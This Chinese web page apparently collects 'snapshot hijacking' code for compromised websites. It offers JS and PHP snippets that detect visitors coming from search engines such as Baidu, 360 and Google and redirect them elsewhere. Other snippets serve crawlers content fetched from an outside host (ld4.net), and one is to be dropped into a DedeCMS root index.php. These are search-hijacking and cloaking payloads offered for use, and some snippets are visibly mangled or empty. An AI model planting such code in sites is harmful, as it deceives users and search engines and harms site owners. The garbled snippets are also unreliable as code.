快照劫持代码大全:js、php,百度、360、网站看似正常但是搜索跳转到别
时间 :
2021-08-01
编辑 :admin
网站看似正常但是搜索跳转到别的网站
快照劫持代码大全:js、php,百度、360、sogou、神马、google、bing、yahoo…
js快照劫持代码
baidu、360、sogou、soso、神马、uc、bing、yahoo...
版本1:
1 2 3 4 5 6 7 8 | document.writeln("var s=document.referrer"); /*获取当前网页超链接的地址url,并把此url的值赋给s */document.writeln("if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )"); /*这里的indexOf是一个方法 s.indexOf("baidu") 的意思是 获取"baidu"在s中的下标 ,如果s中包含"baidu",就会得到一个int类型的数。||是或的意思。if()中的意思是:当前网页的url地址包含baidu或sogou或soso或sm等的时候,继续其他语句。*//*这里的location.href= "/url"是当前页面打开URL页面,属于本页面跳转。*/ |
版本2:
1 2 3 4 5 6 7 | |
代码解释:if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("so")>0 ) 判断搜索引擎来源,如果来源正确,location.href="http://www.hao123.com";跳转到hao123网站。下面的代码是如果否,则打开正常首页。这段代码为js代码。只是一个简单的判断。
php快照劫持代码
百度、google...
1 2 3 4 5 6 7 8 9 | header('Content-Type:text/html;charset=utf-8');$key= $_SERVER["HTTP_USER_AGENT"];if(strpos($key,'oogle')!== false||strpos($key,'baidu')!==false){ echo $file;//}?> |
dedecms劫持快照代码
放在根目录/index.php
1 2 | if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://www.ld4.net/");echo $str; } $domain=array('baidu','so'); $fromurl=@strtolower($_SERVER['HTTP_REFERER']); foreach ($domain as $v) { if (strpos($fromurl,$v)!==false) { $target="http://www.ld4.net/"; header("Location:".$target); exit; }}?> |
pc端、移动端js快照劫持代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | try {var urlhash = window.location.hash;if (!urlhash.match("fromapp")){if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iPad)/i))){if(window.name != 'ad_app6'){var r = document.referrer;r = r.toLowerCase();var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');var b = false;for (i in aSites){if (r.indexOf(aSites) > 0){b = true;break;}}if(b){window.adworkergo = 'ad_app6';}else{location.replace(juhaoyong_mp_site_jump_url);}}}else{if(window.name != 'ad_app6'){var r = document.referrer;r = r.toLowerCase();var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');var b = false;for (i in aSites){if (r.indexOf(aSites) > 0){b = true;break;}}if(b){window.adworkergo = 'ad_app6';}}}}}catch(err){} |
网站看似正常但是搜索跳转到别的网站快照劫持代码变化很快,但万变不离其宗:判断抓取蜘蛛来源,指向快照抓取网址;代码判断来路,进行跳转到指定网址。
